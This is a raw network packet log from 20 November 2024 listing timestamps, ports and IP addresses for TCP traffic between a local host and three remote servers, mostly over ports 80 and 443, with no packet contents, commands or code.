Nov 20, 2024 16:50:52.370238066 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.374924898 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.374972105 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.375015974 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.375155926 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.375818968 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.375868082 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.375902891 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.375947952 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.378465891 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.378489017 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.378514051 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.378534079 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.380048990 CET	443	49761	172.217.19.225	192.168.2.9
Nov 20, 2024 16:50:52.380160093 CET	49761	443	192.168.2.9	172.217.19.225
Nov 20, 2024 16:50:52.380176067 CET	443	49761	172.217.19.225	192.168.2.9
Nov 20, 2024 16:50:52.381375074 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.381515026 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.381690025 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.381891966 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.384092093 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.384144068 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.384200096 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.384238958 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.387356043 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.387408972 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.387928963 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.387964010 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.389627934 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.389741898 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.389769077 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.389801025 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.392394066 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.392601013 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.392690897 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.392777920 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.395335913 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.395400047 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.395602942 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.395665884 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.397524118 CET	443	49761	172.217.19.225	192.168.2.9
Nov 20, 2024 16:50:52.397577047 CET	49761	443	192.168.2.9	172.217.19.225
Nov 20, 2024 16:50:52.397589922 CET	443	49761	172.217.19.225	192.168.2.9
Nov 20, 2024 16:50:52.398051023 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.398091078 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.398338079 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.400439978 CET	443	49761	172.217.19.225	192.168.2.9
Nov 20, 2024 16:50:52.400496006 CET	49761	443	192.168.2.9	172.217.19.225
Nov 20, 2024 16:50:52.400505066 CET	443	49761	172.217.19.225	192.168.2.9
Nov 20, 2024 16:50:52.401338100 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.401398897 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.401537895 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.401679039 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.403904915 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.403947115 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.403999090 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.406377077 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.406395912 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.406433105 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.410171986 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.410187006 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.410232067 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.410249949 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.410274029 CET	443	49761	172.217.19.225	192.168.2.9
Nov 20, 2024 16:50:52.410329103 CET	49761	443	192.168.2.9	172.217.19.225
Nov 20, 2024 16:50:52.410341978 CET	443	49761	172.217.19.225	192.168.2.9
Nov 20, 2024 16:50:52.411951065 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.412084103 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.412132978 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.414159060 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.414212942 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.414269924 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.414331913 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.416265011 CET	443	49761	172.217.19.225	192.168.2.9
Nov 20, 2024 16:50:52.416317940 CET	49761	443	192.168.2.9	172.217.19.225
Nov 20, 2024 16:50:52.416331053 CET	443	49761	172.217.19.225	192.168.2.9
Nov 20, 2024 16:50:52.416378975 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.416390896 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.416416883 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.416436911 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.418729067 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.418787003 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.418788910 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.418828011 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.422597885 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.422611952 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.422655106 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.423125029 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.423177958 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.423444986 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.423510075 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.424494028 CET	443	49761	172.217.19.225	192.168.2.9
Nov 20, 2024 16:50:52.424541950 CET	49761	443	192.168.2.9	172.217.19.225
Nov 20, 2024 16:50:52.424554110 CET	443	49761	172.217.19.225	192.168.2.9
Nov 20, 2024 16:50:52.431894064 CET	443	49761	172.217.19.225	192.168.2.9
Nov 20, 2024 16:50:52.431958914 CET	49761	443	192.168.2.9	172.217.19.225
Nov 20, 2024 16:50:52.431968927 CET	443	49761	172.217.19.225	192.168.2.9
Nov 20, 2024 16:50:52.445034981 CET	443	49761	172.217.19.225	192.168.2.9
Nov 20, 2024 16:50:52.445494890 CET	49761	443	192.168.2.9	172.217.19.225
Nov 20, 2024 16:50:52.445509911 CET	443	49761	172.217.19.225	192.168.2.9
Nov 20, 2024 16:50:52.451555967 CET	443	49761	172.217.19.225	192.168.2.9
Nov 20, 2024 16:50:52.451606989 CET	49761	443	192.168.2.9	172.217.19.225
Nov 20, 2024 16:50:52.451617956 CET	443	49761	172.217.19.225	192.168.2.9
Nov 20, 2024 16:50:52.455530882 CET	443	49761	172.217.19.225	192.168.2.9
Nov 20, 2024 16:50:52.455590010 CET	49761	443	192.168.2.9	172.217.19.225
Nov 20, 2024 16:50:52.455600977 CET	443	49761	172.217.19.225	192.168.2.9
Nov 20, 2024 16:50:52.457901955 CET	49778	443	192.168.2.9	18.165.220.110
Nov 20, 2024 16:50:52.462496042 CET	443	49761	172.217.19.225	192.168.2.9
Nov 20, 2024 16:50:52.462582111 CET	49761	443	192.168.2.9	172.217.19.225
Nov 20, 2024 16:50:52.462594032 CET	443	49761	172.217.19.225	192.168.2.9
Nov 20, 2024 16:50:52.469765902 CET	443	49761	172.217.19.225	192.168.2.9
Nov 20, 2024 16:50:52.469897032 CET	49761	443	192.168.2.9	172.217.19.225
Nov 20, 2024 16:50:52.469908953 CET	443	49761	172.217.19.225	192.168.2.9
Nov 20, 2024 16:50:52.472126007 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.472188950 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.472213984 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.472248077 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.473243952 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.473304033 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.473365068 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.473543882 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.475584984 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.475641966 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.475749969 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.475790024 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.477798939 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.477849007 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.477885008 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.478035927 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.480128050 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.480140924 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.480197906 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.482227087 CET	443	49761	172.217.19.225	192.168.2.9
Nov 20, 2024 16:50:52.482280016 CET	49761	443	192.168.2.9	172.217.19.225
Nov 20, 2024 16:50:52.482291937 CET	443	49761	172.217.19.225	192.168.2.9
Nov 20, 2024 16:50:52.484849930 CET	443	49761	172.217.19.225	192.168.2.9
Nov 20, 2024 16:50:52.484899998 CET	49761	443	192.168.2.9	172.217.19.225
Nov 20, 2024 16:50:52.484908104 CET	443	49761	172.217.19.225	192.168.2.9
Nov 20, 2024 16:50:52.492225885 CET	443	49761	172.217.19.225	192.168.2.9
Nov 20, 2024 16:50:52.492290974 CET	49761	443	192.168.2.9	172.217.19.225
Nov 20, 2024 16:50:52.492301941 CET	443	49761	172.217.19.225	192.168.2.9
Nov 20, 2024 16:50:52.500165939 CET	443	49761	172.217.19.225	192.168.2.9
Nov 20, 2024 16:50:52.500231981 CET	49761	443	192.168.2.9	172.217.19.225
Nov 20, 2024 16:50:52.500238895 CET	443	49761	172.217.19.225	192.168.2.9
Nov 20, 2024 16:50:52.507591009 CET	443	49761	172.217.19.225	192.168.2.9
Nov 20, 2024 16:50:52.507662058 CET	49761	443	192.168.2.9	172.217.19.225
Nov 20, 2024 16:50:52.507669926 CET	443	49761	172.217.19.225	192.168.2.9
Nov 20, 2024 16:50:52.514966965 CET	443	49761	172.217.19.225	192.168.2.9
Nov 20, 2024 16:50:52.515028954 CET	49761	443	192.168.2.9	172.217.19.225
Nov 20, 2024 16:50:52.515037060 CET	443	49761	172.217.19.225	192.168.2.9
Nov 20, 2024 16:50:52.522881031 CET	443	49761	172.217.19.225	192.168.2.9
Nov 20, 2024 16:50:52.522942066 CET	49761	443	192.168.2.9	172.217.19.225
Nov 20, 2024 16:50:52.522949934 CET	443	49761	172.217.19.225	192.168.2.9
Nov 20, 2024 16:50:52.531162024 CET	443	49761	172.217.19.225	192.168.2.9
Nov 20, 2024 16:50:52.531254053 CET	49761	443	192.168.2.9	172.217.19.225
Nov 20, 2024 16:50:52.531280994 CET	443	49761	172.217.19.225	192.168.2.9
Nov 20, 2024 16:50:52.531835079 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.531898022 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.532080889 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.532133102 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.532825947 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.532911062 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.533184052 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.533233881 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.534780979 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.534835100 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.535383940 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.535402060 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.535438061 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.535453081 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.537312031 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.537487030 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.537512064 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.537523985 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.539359093 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.539381027 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.539417982 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.539432049 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.540225029 CET	443	49761	172.217.19.225	192.168.2.9
Nov 20, 2024 16:50:52.540277958 CET	49761	443	192.168.2.9	172.217.19.225
Nov 20, 2024 16:50:52.540301085 CET	443	49761	172.217.19.225	192.168.2.9
Nov 20, 2024 16:50:52.541191101 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.541214943 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.541246891 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.541273117 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.543183088 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.543243885 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.543333054 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.543379068 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.545011044 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.545031071 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.545082092 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.546756029 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.546777010 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.546813965 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.546823025 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.547578096 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.547600985 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.547893047 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.547893047 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.548414946 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.548470020 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.548551083 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.548602104 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.549664021 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.549721956 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.549751043 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.549813986 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.551443100 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.551464081 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.551496983 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.551510096 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.551536083 CET	443	49761	172.217.19.225	192.168.2.9
Nov 20, 2024 16:50:52.551611900 CET	49761	443	192.168.2.9	172.217.19.225
Nov 20, 2024 16:50:52.551630020 CET	443	49761	172.217.19.225	192.168.2.9
Nov 20, 2024 16:50:52.552731991 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.552758932 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.552795887 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.552807093 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.552932978 CET	443	49761	172.217.19.225	192.168.2.9
Nov 20, 2024 16:50:52.552987099 CET	49761	443	192.168.2.9	172.217.19.225
Nov 20, 2024 16:50:52.552994013 CET	443	49761	172.217.19.225	192.168.2.9
Nov 20, 2024 16:50:52.554400921 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.554434061 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.554455996 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.554475069 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.555869102 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.555921078 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.556154966 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.556247950 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.557450056 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.557509899 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.557557106 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.557641029 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.559118986 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.559185028 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.559252024 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.559315920 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.560013056 CET	443	49761	172.217.19.225	192.168.2.9
Nov 20, 2024 16:50:52.560071945 CET	49761	443	192.168.2.9	172.217.19.225
Nov 20, 2024 16:50:52.560086012 CET	443	49761	172.217.19.225	192.168.2.9
Nov 20, 2024 16:50:52.560523033 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.560575008 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.560645103 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.560688972 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.562060118 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.562119007 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.562335968 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.562386036 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.563644886 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.563673973 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.563704014 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.563714027 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.565279007 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.565293074 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.565330029 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.566554070 CET	443	49761	172.217.19.225	192.168.2.9
Nov 20, 2024 16:50:52.566606045 CET	49761	443	192.168.2.9	172.217.19.225
Nov 20, 2024 16:50:52.566622972 CET	443	49761	172.217.19.225	192.168.2.9
Nov 20, 2024 16:50:52.566879988 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.566893101 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.566956997 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.568305969 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.568406105 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.568577051 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.568656921 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.569914103 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.569926023 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.569962025 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.571522951 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.571580887 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.571584940 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.571774960 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.573113918 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.573164940 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.573199987 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.573246956 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.574467897 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.574518919 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.574546099 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.574593067 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.575974941 CET	443	49761	172.217.19.225	192.168.2.9
Nov 20, 2024 16:50:52.576025009 CET	49761	443	192.168.2.9	172.217.19.225
Nov 20, 2024 16:50:52.576045990 CET	443	49761	172.217.19.225	192.168.2.9
Nov 20, 2024 16:50:52.576051950 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.576107979 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.576246023 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.576292038 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.577570915 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.577640057 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.577677965 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.577721119 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.579135895 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.579185963 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.579221010 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.579261065 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.580662966 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.580718994 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.580921888 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.580967903 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.582171917 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.582230091 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.582550049 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.582593918 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.583883047 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.583899021 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.583935022 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.583952904 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.585342884 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.585460901 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.585489988 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.585545063 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.586910009 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.586971045 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.587053061 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.587189913 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.587555885 CET	443	49761	172.217.19.225	192.168.2.9
Nov 20, 2024 16:50:52.587625027 CET	49761	443	192.168.2.9	172.217.19.225
Nov 20, 2024 16:50:52.587645054 CET	443	49761	172.217.19.225	192.168.2.9
Nov 20, 2024 16:50:52.589447021 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.589467049 CET	443	49761	172.217.19.225	192.168.2.9
Nov 20, 2024 16:50:52.589504004 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.589526892 CET	49761	443	192.168.2.9	172.217.19.225
Nov 20, 2024 16:50:52.589538097 CET	443	49761	172.217.19.225	192.168.2.9
Nov 20, 2024 16:50:52.589581966 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.589862108 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.590029001 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.590059996 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.590080976 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.590105057 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.591769934 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.591825008 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.591850042 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:52.591909885 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:52.592179060 CET	443	49761	172.217.19.225	192.168.2.9
Nov 20, 2024 16:50:52.592333078 CET	443	49761	172.217.19.225	192.168.2.9
Nov 20, 2024 16:50:52.592361927 CET	49761	443	192.168.2.9	172.217.19.225
Nov 20, 2024 16:50:52.592377901 CET	443	49761	172.217.19.225	192.168.2.9
Nov 20, 2024 16:50:52.592677116 CET	49761	443	192.168.2.9	172.217.19.225
Nov 20, 2024 16:50:52.593105078 CET	80	49752	185.215.113.206	192.168.2.9
